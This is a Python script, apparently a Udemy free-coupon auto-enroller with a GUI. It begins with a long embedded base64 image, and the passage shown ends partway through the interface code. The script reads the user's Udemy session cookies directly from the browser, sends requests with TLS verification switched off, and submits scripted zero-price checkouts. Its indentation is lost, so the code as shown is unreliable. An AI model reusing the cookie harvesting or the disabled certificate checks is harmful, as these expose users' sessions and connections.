8Nz2AEgy5Mrkox7LC2PPNd3X0YD/1xnrVZBtNkiXnPPQY1/fIqN+jFkPzEvu01BuDGLbaxlxL818i70acDVXoJ2lPSKAPxqwShcXEqhLy8kXge0HNLNpTTSHDQEghjoVYMiGOnME2RxqoMZRCh1xXRQ0oTfR7QzQabiXMMCy6XkMIbESXYU7uF27C2mfZD40hUvukMWwZDYyw2pglTGN6HVsRNBfO9cHUw9OM8ru/Z47ZM8ssGOX7ldO8KOdXzpMmKJsmMe3cT4KdkW6MMvKSzh2EtBcmaIYtZMOG9LizeOfaDvrhqoxYIxntDtAJ5YUIU6wEMsrtn+5FSNUY25UNRRhXXr5cQZGM1z0jpHIxWSovYaokalJhjz4iSB4cWXIeg6Nhn4vSJCmJqHRL1UVzmAxFSsrIM2hoyBUGAFwRgZUMEiRrr+LiaANf/fE7eHv3PvobDGee4Z6MjNFidAEfoRBGmHCVOnThKPeB4Ra3fjjeMGpRmOyf09K8MPVv2o0eWTSxmkRTI5mkkJy6uI73LFZja3ge4wKrMam4Mh+sG50KJ2sgHdK919O1HkEmmmceichuaOJ7U+NE/YhJ6cikguhZv0wMtcK24xyjuvuSxEWaM7F8XEuie/EwH867cMBSXLc/8RhR9FclANFKSEi2/6oHoUl6bo0UN9qbYzFzNBn8LDP9m3MDFU1Qlj3lVG7PciqfX07zYlYe5XtNu+cyS69jRbliDv+CcmRtOqfZKIeffPki6XxNvHvjLjpRC3kg6nQzRBaOlEiSYYoG91Y4zC1ONcYvnX0xp6W9F1PraJyOC/uqcUQyIYd4GDBq7GpbBd1uv4Ma9yqXs7udIYL2GdxNI/zpx7fx4/sPsbvSRD+qoUeSq9dk7Gq0FLWF5/ZlMSPv5W+3/aAgnJzjsH+XE8GPvVS04Seqo9A2ZyWeU07WjDROzHsspsrlmSbA95VvIpUx2S9N+iTK103W07R7P2146glkGqsShycQM8rV3fJqjPtjiERd/KSXXbh/F3dSrr0t9v/wOcKib3uiISIcjg6SNZ0UhpLiIJXvZotVgppIlPlYFW0QUv9xJhpFU742fWxLO2yNGogbz+CH12/ircsXcUuIBo2GxvLiqDPkPhIp13iY+0yadQi6XzM9aUTi4PAocAQyhUAORxwEJ/WMJ45RhDkZV9hMPQo0YCsI8N7mfTOxPOQeCSmieqCT7uoed9hbOXwCNEIwmi6JmlupMp6VxlgCR4ecrwh0t7xerwPdSjjINF5X1l5Dd/1ZfP/WQ/zRhx/g9nCI0dqqkFCAAbce9GpC7nRlN3tlK+EzqcnNzuMYE89ymyAdHOaD6/3zorDrm4k3ThwzBDYFjVkRu9tqaCC3JFyR45GSBrUWujiqgDpGM87TBqsZMFZR6qe6roaroNW+rZPgHjrxUIMCNgP5u9tX23zeXMWPEw9fff8i3pHfeqt0GW2jp/u6hCb+UhIjCugAYOZqrOeN8v2o2N/CkYfDU46n/g2YZqoqayQHQk1VmX6a3dH8wu3PjFbpJ77jebj4YAt3YiGZxqoKH0alzdULyLkDzgv1waJGAGPTZkhv1qu2gfxY4655YQv5APK5isb6c3jv/g6+duFDvMP9sTfOasTW7TgTAslRjzjBKznECRpCPGxbnSRWEqF50txXtQ+uTp4sjIPDUwZHIJP0AEYAACAASURBVFMIhJhm2vok7OQbvYE4cavGk2JkbGLk9IRUtmVE+xdXrqPLtQSMQJrTfCUjZRFuDvOBLqhczW7WJZj5p9TnhlDG06sZNpU8RllDGOQsPu6m+MaHH+F7m7ewdWYNg3YLPTCkvBCCOjUYLx+SkQn0aCf8DXlYJ4k9l2GnhTg8xXC9v0CZRA5HIKxA4wKok6q0i3P0Ss2EGgj92bnDW30Ff37pKu7SDdJrIPAYUFGIhmaVcoYOhwYnsBmGO9QQHIbAjbYg5OGbIIfqqhtLC60+j+tphP/vg0t4a3MLg5UmetQQRTOMpe3qjRXd3yEXTSTIRmhyFf0gLuaoDIkY5whDInC6h4PDJwmk7IdchVnnzDp2WJTLU05HQdmveRpZlO9zUKJwUZe+3KwytwuL7O5reSrnhS3cEanz7r0HIty49a3x9mFyODqofXCNBvdwaIwYyTXU6KlcMSzUYSbOGTaldRbX8ya+fmMT37i3hY8Zv6pRh5fGGk3Z5/4eSYZ8SPKQPKWt/IxapXHXnPS0Mi1uSETTlD6xv3/Mh3IfLacqlMtTTlUo36+cJjEtz/L55WsWgUd5vkfBIp6hKr9ZzzDrmEW57supqq5mHSM+QSAOjwaz8tlUJEOZm9g544lxXwRbV0ayu2Edb129gftxTTcmSj2zctfNgcyHhmgNJO404Q6HmUZvrY24epwT6z4GzRbuRm188+pt/N7Fq7gdNZGvn8EwiVFj6BmSREEUZlW20WTYrtbXn01Udte1K5ONNuLg8HTCEchcMHMenDwndGXryET5tKB84Yrajh/gwuYOLmx10au31WWUAs4JoPmgUV1FL0ipVUgdRwhQzyP4CNHzI9xaXcF/vHoZv3ftOq57TQzQELLx1AvO98YLHUki+5vCtK266xbzHfa4MWeNXNs5PPVwBDIvlDzovkuBYlYp25WqSh4McdKooyvSpiuj3z+7eRc3ZIQ75H7KOknrMA/SNFZPKwY8HAp5Z1QL/BbicFX3MP/961fx+zeu4cM8Rn5mA77U+2hIDzhPnRiUQPbWKhuzo43hVawoKUjEaCGqjfDGxZyIMWg5OJwMyibJclo0HIHMAzVfmZDlZi2CEUJG2JiqZchohptOZUw8jFp4+/5DvHn7tu7fnHOtgmuCuRA0Ak5aIJEa7mWJiQZcX8EN0UDe2unj/3znR7i52sBgtYWHnS3UpW3aopn0hylnSZQEGKvLLEIchzJnUkcHEs2eSYtEsj80i4PD0wwnveYCzVcBuGBNQz17ZvMaa1cnanUf/WyIQEa+3TzADd/Hm9evYyfNdAdDh6NDtQUR4nFmIq7WW01ka6u4IcT8vdv38XvvXxQtpIX73MBIVEIvqmGY9E00gLAlpMBd8IxJSj22fOM5Z/Z6mNwfwpCHbVcNGOkIxMHBEcjc4GZDIlJMOA0jiKwZS116Q7NXs0+3UC/C7kobFwc9/PjSR4jtbmkOR4PUa5LFyJIhIvke1CNcy4f49p1r+IObN/DDrQ5W1p9Hsj1Qj6vmqo/dsIduLUErbOueJGwraiHc58G4XpsFoFzSw6gCnOiwpivrbWfNWe7lcXja4d6BuWFGoZMxrczkamHCSg1JcN/0sB5gyN3VwgjfvnwDl5NcN/FhAECzBzPDVXOTpWBvXYOdp92zvYMCjyvdGTgw0+8nCY30XaRJ2PLupWISeu+zlAzMaN/OO4yPFxK7xnXnZv8P1QSkokPuTCeaXE/I+VY6wvfv3sc3Ln+MH3cGSM49h1tbu1jdOIMwCLCzsw1f2oBRkXv9gbSNmQuxmNQnzPeRBsq0k+XO68rhtKE851FOi8bce6JXFXKWj/OTAVNHXHlO2MlzQr11ik127M576ShHfZTgOb+GL446+Of/+U9iZfMOVtvPAkMRiIMavCRDqx1ip7uFWstE7/UKyUWySRmoMchUpkYpV7afzIp2JY6COQv5ruVkSW2YjzG/mUV+GspFJ595kNqaOYGRjO3GU+qEwPyQIpO6CiPJyTd7MiOhi65Zu5FK/9zJhvDPP4Obcr9vXbmGb129hY+Es7cabcR+vVjnwVxJ5LwXKchsr8vvDNrOuxbDgD2C2HPPLp7L/DimmNm9/vCY9/2Z9/qjYPKei8j/UXCUshzlmknMe/1RYe/7OO9JTOMElsXtiX4sMLZwu46AYDNrU3MUrfso5eqNxYQsRV9GyjdE6F8UTeOPrlzFYGMDnZS7qNXULbW1vopOv4uw1ZgY9ZpcjZA2AtaQyulrQrt2ovirSND6mBzNGycEs/Nf8asKcyOojUcUj6dCDrEQxzCmqUkIIYp0DU0nGSJ87jl80OnjDz64hO9evY0rsYfdqI2ssYpavVHErzLtE2UmMeSJAe/gaTnMHhXj9SCTk+V2jsS261h8ODg83Th90ucJg13xSeZmIpPzk6z+MBvh6x/fxV/spKJpbCDlznmtFNvZfcRtYBDQi4teXr7a5SkMKfzqaYDWoIV60gRDqJwUdJ6HwpYyf8T4UUb7UNKDSXZvFONkYBLnGcwnn48bb5md/bj/mz8SjQJ9DUXC8xj6Jc5CIZGmEMIZ9KMmNrMYQ0/I49wKftjZxbdu3sIffXwdl3a422MTnhBITUgaw1xXqdczxsniroV2tz3+Xiz6dGzg4HBkOAJ5jCCRkEDCMNTP2G/ggx7wBxdv4TJjMq02RQBm2B48gN8K0B3191xKOUpXUwrNYSJQg6yu24RyzuQksbeSe5/WYfdEMckQBt2cx2HRbUo9bsQ11kBotuInQ+TTPMbzuZ0p96/OuOJc3XQbuBMFuCAk8LUPPsR379zHNTk2WFkvIh6HclOppzgzcbKyQmOjhlOQBu/IyAFGg3RwcDgKHIEsGHYyi/ZDTqirHR+GTIaiXXSis/hPWyn+/QcXcKMdYSDSbWN1BYPuQ/gBI8umGjZD3UhzX+33KfeJFuLghkknCTWg6fwOtY/x71bz2NtHw+OmTDbEutmgySQbDt/M53gjX0O80IXWmLp4fSKaB9eaD5EOhqjndaBxDm8NRvitd97Dd7Y6uDyK0GmfRS9YQT81YU3qotW0RRuhxmGJgxiHIHHE4eAwLxyBLBiTZiuCpiubUhHBeWsD94QYvnv9Lv7gw8votjeQNloYJgnqvgjmYpLX2OoDEaQkEa/YQMmM1k8SdoLZfhryUEUJ3FRLCUN/+6StyMzlUOswz2D2UrFrL0hQOSJRHfJ0CPUTWF/BbSHPP7mxid/76CbevNPDnVoTu1FTF2mmfoSREG0w8jQgopfaeYxCE9L1Okaj4334m4ODw9HhXqHHAJJHEAT6ORkJk+DYOgkb2AlX8O0PruNP7+3iQmeIqLWOYJihlWSoM0ggOF9gwqZw5D4Mh+hHAx3hnyzYhYpUeC4ZTBAGR/u1Iux9sc+GzkWIZtZIOR9hBLwx1dmLeE4uz58jjOV5hYAuZwl+58Ft/O+XPsIP7ibIGy8g9taQjkQrYfQrL0RDNJgGJ8SphpB4lJSKvdODIvmeXGeIypKVg4PDo8O9PQuGBvsTApjmbsnfBoMeGs0W8voa7nst/PZbP8KHqY/+yga6OWM1+SpsdWV7MSE98iRPfyifsY7yTxL27vtLMf7Lmo+MZ5N5Dl3jwk+R7KE+m5mLMFqKWYipe3sgwI7wwGDtLD72Gvjdi1fw/7z3IT4YplI/Z3QOqRbWwarNhGikslHjqnQhDrrt1uucnKcZkIsDGead8y2MW2ZMZCdNvQ4Oy469dSB2RDzN57eMo/pBn4Qf8zTBfZyY91mCIEIai5YhQ+XmKIWf7OAlP8GvffYF/N3PfwYrtzexLgI2FWHLuFpcBBePBkjyrgjIOrI4hHdC60AIs16Cye7aR7Fc1Ll839O45PlGmRzLzH7lgcf9O8xiyXiUIBGWzENomBHmGSYBOlmA7plz+OMbt/CN6zdUM+sLkQzDpqRQSJRrbMz8CUlJiZZEpWREzSPXfNUDTMtm3HVpCuS8DVuOnl/WzGVx1P69jKh6P6qef97r58VJ378Kp718VWD5yAWTnMDfyBMbGxtOAzlJqACTUbOXZ2q+6YYBHtYbuAQff3JvB7/z7mVsrT6De3ENvvy+vrqCbm8L8aCLtgjQvDvYW3tyUuDiPzPfwb8mCkOTlbw7OcO1JEJ8ckLDj9CsN9GImgjonpwBnaQvzxbqucPOQPglRBqu4GHjDHbOv4J/+5cf4uvXNvFur4ZNv41B2EYmpJuJCjPSBR3Gc8ssFExVK6MHF+OSmQCJhkxIKyQPEhYvs95Zzo3XweHocBrInJjnWWjGaeaBahb9qCajZRGKqbD9cIg1Gam/JG3x9z7/OfzSubN4YbiDoHcfq2cbYLMMd0Tw+rw2mnCDffxg+BWFah6Ft9OkKcoP9Zny3CyCtHMlojiIuI9Rf6aObreLBupSl9xmtiHk0cb3Hm7hd995H9eGObZFw+Jz5o06koYvV6WcOYJP4hqZ0Cbe3mdRLh6jfqHkZu5JzcaEiDH7qNP8Z9enTOKo/XsZUfV+VD3/vNfPi5O+fxVOe/mq4DSQUwwKVHVf5Ri6lmA4SnSSN2m2sBOt4FoW4GvvXcTXPrqEa9xb/bnn8UAE6m4vQVBfQwburX5yHXDsbTXxY80QhT4XP3NlFD2kcw9Ceogi+G3RQtbWcT+O0atHeChaxfbKM7gRrOLfvf0+/uV338IHQQN3myvotFeQt5qo0Ww1MuF2aA4bv5x0CWY5jKlqMmntFivNdb2KzrkwccvaE1bfHByWHE4DmRPzPAsFWRhDwzJ1/BhdL0Ua+Gj4TawkIaJ+irC3g7OjAf76ixv4Lz/3Cl6P6lgVoatCNB2iyZ31TkgQmlG+0UA0xLm65DJulx7V3xkHTDqU7sqo7seSdCpEfo/lxLQxQtZexVZex59c+BjffP8SdoQcRxtncWV7B16rrhqH7vZYCH+2aSJ51nwhhzwhS5l7kbX2sdmYPPY2hSry4SdPNS69E5fg6P17GVH1flQ9/7zXz4uTvn8VTnv5qlClgTgCmRPzPIuu3o5lxB6IMI0yDGjU8WqIvBCtWEbpSQ45hAaJ5eEtvNbw8ff/yuv42eeeRSONsS4SMex3EDHG1gnAEIjpI4ZAzMje/s1jI4+kwalqhrWn26whE2ojgyDEbtTCj27fwXc++AiXegN0187gbpxhd5hg9cxZDFNuEmUWX5IoafLzuDlXUe+cMOe9OGG+jzv2kcfkXIcJ224IjmX85GLMo/bvZUTV+1H1/PNePy9O+v5VOO3lq4IjkIoGnBfzPAuv9LKRbq3KqL3piLb9rLDRQz2XciGTRB6h3oyA/g5a2/fwyy9/Cr/5hdfwipx/Luc6kbic9WPBQQRiPYt1hA8NoCsC3weiEKOogVjqrCcEcTsL8R9/dB3vbe9iM+9h2A7RC+Ua3WUwxHDARZSB0IVoL7mvhEAPLtZ5jSv6RZWhNxfBeQzeT+czrMYBmqzG7WPC4Kdm3sM3pBSlvk6sT+Ko/XsZUfV+VD3/vNfPi5O+fxVOe/mq4AikogHnxdzPwtlkiroiHz/jWJ2L7rgPBVdL19EXQTmQX9rNAK2sj/rmLbwRekIkL+KXv/AZrCRDFd6htB1TkDMood01T29SeCLx2/7yTshXhR2p7/uZrq+TfxYHdU1KjeUcx5gywrim13BHP+7V0RchPxBCGNDLTJ7l4t3bePfiZbxzexsPmi+h21iRc2IMwwRZNBKCSTXsvS/k6SckArNPyoiEytylrkK91/4y2ThbxFjzsE9i4moxMRw+tx/m8bojkPJP+1D1/PNePy9O+v5VOO3lq8KhCYQH+LCHIZDTBJb5oEaYdeywOEiY2O9VHeRRYXItXGDlD4Z419XSMoKvicQLROsIsxRNIY21eIBXRHj/3Guv4Gc+8zk8JwK6LqP5qN/BupzbChkKJUMsGkoyMsKV2+jWOB8h5U5y6juZPguTx8Txfj7hzaSEJqN8ryhZbow/2l9Cmtx6IrxTI4RTuT5jnK6Qm5XLKL+BbSn3rmgdN4TUfrx5F39x8zo+3L6PHc5f1FeFP5uSX6RmJRs/a7JG7ToTUx6awMzvOp9Rqvr98a2KvkvvL9tWhUuvCc9eHCvmRg6DefvSacRB/duiqn9Pu+ZRsOj858VpL9+iwefnu05eIOx3ckS73XYEUoVZLxj/rupg88Lmb4W8/Y2pLkSyMeyjLWTyfKOON15+AV955WV8eqWJdl8E+84DrPkcrWcItClJGIaUOMJnzkHk677ielgEqsfYhhgLaM8zcwQ0VTHsCifAtZ/ISVxnkQZpIbgDeH4kakFDXW77CLFbC3Dh3n28e/ce/vLmLVyLY/RXV5CuicYh5eozTEtq1mYsCrP6wKO23UH5LDNm9W+iqo6mXfMoWHT+8+K0l2/RcARywLHDouoFWzRmPYMnAj+iJE+HYERbH0O0ajFeXmvir7/6Mr7y0ktY2+ngfDbC+oj2/lQX9ikBhaJpBNLe2QDqxZRztbghJmP6MW2fFs/PkOojag0+J8bV1wqZntNE6oUaX6ojv98WMru0dR/v3L6LS9sPsZnkar4aenUTzHAU6IR6TXcgpGYz+wWdF7Pqr0o4lHFQPsuMqv5dVUfTrnkULDr/eXHay7doOAI54NiTARqcQjVRcR1JGHGeOkeY9tEcdrE+HOKnnn0OrzXb+PzGM3hxdUNXsDOmL8HtXPOkC5/hQNRERhOW1XQK7Up+59S++jqROESVyUc0f2VIsgjdfoTbD7u4fO8OLgtx3M6GeODn2Ja+0wlqGAjx5HJPz2toaWspAx2ayW3jRsu93SdNT8eLWX2gSjiUcVA+ywxHILNx2su3aDgCOeDYkwCdH8iENAIR0CK042EfcdxH6I+UTOqBHI4H6ubbkHZdERF+Pmri+fYqPrV+FhvNBl44u4qwZtqciURC0FxFouDGfoMkxm5/gJ1+F9vdDra6u9jtdLAjis9mz8eAq+FFA0mEMKiJaJJrY8kjarURJ5nG+6I/VV20lciLVHtK88QRyAnDEchsnPbyLRqOQA44Ng+qXrpFwd538p6JCOcw4B4YMqIXoggZpFCYYyDfGWeKC0lqXC8ilzTknFY2QiNmknOTBH6WyCmmrZk4Yc75Ec6QpOw0XqGBcOLdN6FBdJ9xKYtuiJXX1dOKk+xqTaPmIp80eTG/fr+PKIqE5Or0pcJI7punJsyJx/wY02rf5PfxYlYfqBIOZRyUzzKjqi9X1dG0ax4Fi85/Xpz28i0ajkAOOHZY8PpyJ6p66Y4T9v7lMujvFNr0WvI4+W2i3XLtCCU5CYDrL6IGw52bcPK1PNO9N8ye4NyPIy9WZTNv8xwkBoIaCInA80M1XZE01FWWiwF5Au/NaLicE5Hfee80Z8wr09HYh9h/uH0vQ9onw1jLEPnFvigw9Tj79Zwfs/pAuU6rcFA+y4yqvlxVR9OueRQsOv95cdrLt2jw+R2BzAF7/WRHqnrpjhNVBMLRe5wmqjmEfgSaoLKEE+pm7/VYRvxsRm3KGtu3mET3uBUtUK+FupiRwQ737uEV8yByUUK3q+JeqVyfZoZYuEc7PbuytA+/yH+yLkhgep/M9Ke9/sVw7fT28ozGky94W8BZfaBcp1U4KJ9lRlVfrqqjadc8Chad/7w47eVbNPj8hyIQWxFlApm3Aqte4IOOWVR18MeJybLY71UkW1V+1rf93X7aa2zjHQQbXZYSnR9mO1g5MJoIHChaAWNU5TrXkGIY5EjkID95fTsJEKV01T34PmbtRPEd9jtjcI3k/jEYqISEYp9UTVzF+fY3++R77sEje46d0ndYRsx6h2cds5h1zqxjDo8HrP9JTrC/sW1cNN4nDFYw08ikglrFPTUIXf2hiWHPUeNMhdk/gxPYcZAKqYwTiWYycaGgCUqS7l1LDy7df2MvBtUEURbkpSvTi0S3YBvUkKSR10hajjwcHJYZTgM5JA6qh6oyVZV/2vFpv03DpGZg126Mw3tQUOfFXAZJxB4wEXPVyFSjtuCrxjC5qtsuzbB3Lq/4JowGYSbOmYxmMdZ8TNwqPVPP57oR3k/LTGrTzPlrQXIOS4lZ7/CsYxazzpl1zOHxwGkgc4IVdRB5HDce/V4M/ZFo4j7pqMVF4m58caFRiIbhA7Fn9gLX7VyzEFFaR5hyJ8DaochDNZuJxOPmXOZp8lXtovjO33W3Qn7qd3pwMflIpSxMloAcHByWE45AlhgcvXONR5THMvKPhTS4t3iCWFLiZ0h9E1/Knq2CfVTXjaiyUVPIqilkEgmZkFBMCrL9KSzS+Dd/L4WiujRjD21JjdRDlJmwJIzdRYIgaQ25mFBSX27NzbKGUqZEAxrykzqIg4PDssIRyBFBNe441OtZecw6ZkCBHWhitFqasKypyJisjImIyZiVeI0xXWliDmr2KpKan8ynlxdBBnXOwuRkrtuvWVhMajEmaCHvwzIwuJZJnGxn5C1G1eLqd3438zQODg7LCDcHUgHrvjZ570cpx2HKb8+xn/a8g84fg4LfrBxXumAkRH7npHdBIFYBsfMRY6FvPrkAkScZUxJPJkHkhjj4u55nfi/PVVgiIszkuFkgSPCvsflrCknwIL3HCjJyWE7MeodnHbOYdc6sYw6PB6x/NwfyBCOnR5PuqueJvCeZUHMw2oid37DeWUoABbkYkuFcySR5UKabT2oQxbeCKCY0l4mkOkaNaXx8csLebHPL+4/2JS5mHDv+Ojg4LCMqFxLOq4Gcdiz/89ktWSdH+VbtGP9WDPgNCrPUQShrTbMmunmuKjET1aieVYUGY9acfxJ2HYjTPhaL5e/fJ4tF119V/pM4yr2q8q/K02kgTzzsGg2ShU0F9ryiCjOR/fsRUfbAKie75sOmvXvYOZkpiR5hjjwcHJYb7g12cHBwcDgSHIE4ODg4OBwJjkAcHBwcHI4ERyAODg4ODkeCIxAHBwcHhyPBEYiDg4ODw5Hg0Z+XPr52X4pJv9+yD7E9zmQ3BDrt0HUKRZqGyWealiavn5aeRDzK89vzTgrl8hx3u5TzPUo6CLOOLQvKz1pOy46yPCineVHOr5wmUa7bx1G/5ftNlot/H5oBDnoYBwcHB4enE5UEMo0JCUcgDg7Lj/IIs5wcHGbhSATiOpaDg4PD4lE2aZXTSaOSQBwcHJ5clAVSOTk4zEIlgUxTZU9Txyqr3OXk4ODg4LAYHIlACDdCcXBwcHi6UUkgFmUScQTi4LD8KGvs5eTgMAsH7kjIz8PsB3IaMVnm005y89bvST9fVflPunxVWPbyV+Gkn2+Z3sVF4El4/vIeUQSfa319/fAaiIPDk4jJCeNpycHB4WA4AnFwcHBwOBIcgTg4ODg4HAmOQByeapQnjcvJwcHhYDgCcXBwcHA4EhyBODzVKE+al5ODg8PBcATi4ODg4HAkKIHQt5c+vhxx2bUf/KT/70mjbJM+jG16mUaQ5RHvo6ZyvcxKi0C5POW0aJSfsZyWEeVnmJUWgePMv6ovTDt2nPc/aVQ9fxWm1cW03xaFae/z5LM4DcTBweFE8TgEocNi4AjEwcHhxODIY7nhCMTBweFUoWwycTi9cATi4ODg4HAkOAJxcHA4MTzOCWGH44cjEAcHh1MJZ8I6/XAE4uDgcOrgyGM5oATC9R5BEKgaye9sPLsupAqLVkHLfsjlybVZ9511zGKy/NOSvVf5d+Kg+imfd1yoynOyfriOh2lanR0nZpVn1rHjQrlflNOi2uIoOGw5ys8wK1WhfH45TUPV8UmU34tympbPQW0y+Tvl0GlYh3bSmNYWk7+V67uc5kVVfk4DeUJw0Evq4HCSmNYPy33VYXnhCKQCtvOXRwCTx04S5dGJxbQX18HhceOgfnhQv3VYLjgCeQScxk4/rUzTXlgHh5NEuU9O67cOywdHIA4ODg4OR4IjkAqUR06TmHXscWGaicCN7BxOG8p9clq/dVg+OAI5BCbnQU7T/Adx0IvoTAQOpwEH9cOD+q3DcsERyBOC8st40Ivr4PA4Ma0flvuqw/LCK4+obYOXG/0g2JEEk/XdnkyLxqxy8thk+aalyeed9tyTv02Omuzv5fzscYuDfj8spl1/UPknUS7TQek4UM7zOPOuQvme5XRQ/RwF055r8reD+orFcZVjEpPPOuu3g1Cur3KaF9PyOc42edoxWZfT0iIw2Z5zayDlApeTg4ODg8OTibkJxMHhaYcdKE2Ott3gyeFpwNwEUtY4ysnB4UnGrD4+65iDw5OAuQnEwcHBweHpxNwEUp50KycHh6cFrs87PG2Ym0AcHJ5mTM5/WLh5EIenBXMTSFnjKCcHBwcHhycTtS995ddHW1tb+0ZSvu/v7QfiRlGLRRXJVtX/vNc7zId563/e6x0WC9c+Zr8oywl2jyH+tr6+Pr8G4uDg4ODwdMIRiIODg4PDkeAIZMkxueZmWnJwcHBYFByBODg4ODgcCY5AHByeYpS9JsvJwWEWHIE4ODg4OBwJjkAcHBwcHI6E2ut/7TdGu7u7SNN0z9eX4PfToMJWlWHeieJy/uX8qvY0oV/0LJTzL6N8v+PGst+/qv6rrq86XoV5y19GVX5lPGr+x42q+q9C1ftRhUetrzIWXX/zlq8K85a/qv0Okz/PsesC2Z7MMwgCrKysoPbFn/21UafTcQSC6XlVvQBVDVR1Pet9Fqqur8Ki668KVeWft/6qnq/qeBWqrj9K/VXlOYmj5H+cqCor5cQsVLVvFaruX4Wq+qsq37z9b9H1U4Wq8h0GrENbzk8QyE/83N9VArGrDCdPPI6bLytsx6sS8PN2kKoOuuyY9/ntgOYgVAmIqvwXDVu+J/Vdmrd9n3RU1U+V/DgN/WYagbDcSiCf/+m/vUcg/PG0EUhVGaoEyDxg3lX3r0JV+ebNvwpV+VeVb15U5V9VvipUCaiqF7gKVeWrer6qPjTrGFGV/0mjqnxVz1eFea+vQDIjWQAAAahJREFUKl/V8ar7Vx2v6p9V1y8aVfdn/VgC4Sefx3KFEsgXfubvjLrd7t6PzJDptBDI40ZVhyqjqo6q8qsScFXXn3ZUlX/e+qu6/qRRLv9pL28ZVeU97QKyClXlK7ffo6Lq+qr7z4uq/KvKR5QtU9ZataeBkECsXYufkwRymBssEsdRAbNQzr+cX5UJi3U2C1UmmKoXsFyeR0X5+cqYN/8qVD1/lQpfVf9V5a/KvwrHXX9V+ZXxqPkfN6oGOFXHq96PKjxqfZVRVX9V+c97fVX9LPr9r7r/YfLnOfY5WV6+k3sE8tm/+l99gkAmLzrMDRaJqgaat3yT+U/La9pvk6gqX1UHqWrgeVFVvqrnmxfzPn9V+aryryKwKiyi/qrynMRR8j9OVJW1iqCr2rcKVfevQlX9VR2vun/V8ar6qeqfVeWrQlX5qsDrrQbCsjDtI5Cf/eV/sI9AeIEljqeFQGblUfUCVAmwqvJXYVbZDoOq+8+bfxXmvX9V/Vehqn2qMG/5Z6Eqb2Ke/J8EHKaOZqGq/qryn/f6KlT1z3nzr0JV/rMIpN1u4/8H35HD4JweFvoAAAAASUVORK5CYII=')
sg.theme('systemdefault')
def cookiejar(client_id, access_token):
cookies = dict(client_id=client_id, access_token=access_token)
return cookies
def getRealUrl(url):
print(url)
path = url.split(".com/")[1]
return "https://www.udemy.com/" + path
def get_course_id(url):
r2 = s.get(url, verify=False)
soup = BeautifulSoup(r2.content, 'html5lib')
if r2.status_code == 404:
return ''
else:
try:
courseid = soup.find('body',attrs={"class":"ud-app-loader ud-component--course-landing-page-free-udlite udemy"})['data-clp-course-id']
except:
courseid = soup.find('body',attrs={"data-module-id":"course-landing-page/udlite"})['data-clp-course-id']
#with open("problem.txt","w",encoding="utf-8") as f:
#f.write(str(soup))
return courseid
def get_course_coupon(url):
query = urlsplit(url).query
params = parse_qs(query)
try:
params = {k: v[0] for k, v in params.items()}
return params['couponCode']
except:
return ''
def check_purchased(courseid):
r = requests.get('https://www.udemy.com/api-2.0/course-landing-components/' + courseid +'/me/?components=purchase',headers=head).json()
try:
return r['purchase']['data']['purchase_date']
except:
return False
def update_courses():
while True:
r = s.get('https://www.udemy.com/api-2.0/users/me/subscribed-courses/',headers=head).json()
new_menu = [
['About', ['Github', 'Discord']],
[f'Total Courses: {r["count"]}']
]
main_window['mn'].Update(menu_definition = new_menu)
time.sleep(6) # So that Udemy's api doesn't get spammed.
def free_checkout(CHECKOUT, coupon, courseid):
payload = '{"shopping_cart":{"items":[{"buyableType":"course","buyableId":' + str(courseid) + ',"discountInfo":{"code":"' + coupon + '"},"purchasePrice":{"currency":"' + currency + '","currency_symbol":"","amount":0,"price_string":"Free"},"buyableContext":{"contentLocaleId":null}}]},"payment_info":{"payment_vendor":"Free","payment_method":"free-method"}}'
r = s.post(CHECKOUT, headers=head, data=payload, verify=False)
return r.json()
def free_enroll(courseid):
s.get('https://www.udemy.com/course/subscribe/?courseId=' + str(courseid), headers=head, verify=False)
r2 = s.get('https://www.udemy.com/api-2.0/users/me/subscribed-courses/' + str(courseid) + '/?fields%5Bcourse%5D=%40default%2Cbuyable_object_type%2Cprimary_subcategory%2Cis_private', headers=head, verify=False)
return r2.json()
def auto_add(list_st):
index = 0
global count, paid_only
while index <= len(list_st) - 1:
sp1 = list_st[index].split('|:|')
title = str(index + 1)+' '+sp1[0]
main_window['out'].print(title+' ',text_color='yellow',end = '')
link = getRealUrl(sp1[1])
main_window['out'].print(link,text_color='blue')
couponID = get_course_coupon(link)
course_id = get_course_id(link)
if not course_id:
main_window['out'].print('This Course link is wrong',text_color='light blue')
main_window['out'].print()
index += 1
else:
purchased = check_purchased(course_id)
if not purchased:
if couponID:
slp = ''
try:
js = free_checkout(CHECKOUT, couponID, course_id)
try:
if js['status'] == 'succeeded':
main_window['out'].print('Successfully Enrolled To Course',text_color='green')
main_window['out'].print()
count += 1
index += 1
except:
try:
msg = js['detail']
main_window['out'].print(f'{msg}',text_color='dark blue')
main_window['out'].print()
slp = int(re.search(r'\d+', msg).group(0))
# index -= 1
except:
main_window['out'].print('Expired Coupon',text_color='red')
main_window['out'].print()
index += 1
else:
try:
if js['status'] == 'failed':
main_window['out'].print('Coupon Expired :(',text_color='red')
main_window['out'].print()
index += 1
except:
pass
except:
pass
if slp != '':
slp += 10
main_window['out'].print('----' +'>>'+' Pausing execution of script for ' + str(slp) + ' seconds',text_color='red')
time.sleep(slp)
main_window['out'].print()
else:
time.sleep(5)
elif not couponID:
js = free_enroll(course_id)
try:
if js['_class'] == 'course':
main_window['out'].print('Successfully Subscribed',text_color='green')
main_window['out'].print()
count += 1
index += 1
except:
main_window['out'].print('COUPON MIGHT HAVE EXPIRED',text_color='red')
main_window['out'].print()
index += 1
if purchased:
main_window['out'].print(purchased,text_color='light blue')
main_window['out'].print()
index += 1
main_window['out'].print('Total Courses Subscribed: ' + str(count),text_color='Green')
def fetch_cookies():
try:
cookies = browser_cookie3.load(domain_name='www.udemy.com')
return requests.utils.dict_from_cookiejar(cookies), cookies
except:
print('\nAuto login failed!!, try by adding cookie file using "py udemy.py -c cookie_file.txt"')
exit()
def main1():
global thread_done
try:
global paid_only
global count
count = 0
for index, items in enumerate(func_list):
main_window['out'].print(sites[index],text_color='white')
main_window['out'].print('Loading URL..',text_color='white')
limit = site_range[index]
for d in range(1, limit):
list_st = items(d)
auto_add(list_st)
except Exception as e :
sg.popup_scrolled(e,title='Unknown Error')
main_window['col1'].Update(visible = True)
main_window['col2'].Update(visible = False)
############## MAIN ############# MAIN############## MAIN ############# MAIN ############## MAIN ############# MAIN ###########
menu = [
['About', ['Github', 'Discord']]
]
c1 = [
[sg.B('Auto login',key = 'a_login',pad=(5,5)), sg.T(''), sg.B('Cookie login',key = 'c_login',pad=(5,5))],
]
c2 = [
[sg.T('Access Token'), sg.InputText(default_text='',key = 'access_token',size=(20,1),pad=(5,5))],
[sg.T('Client ID'), sg.InputText(default_text='',key = 'client_id',size=(25,1),pad=(5,5))],
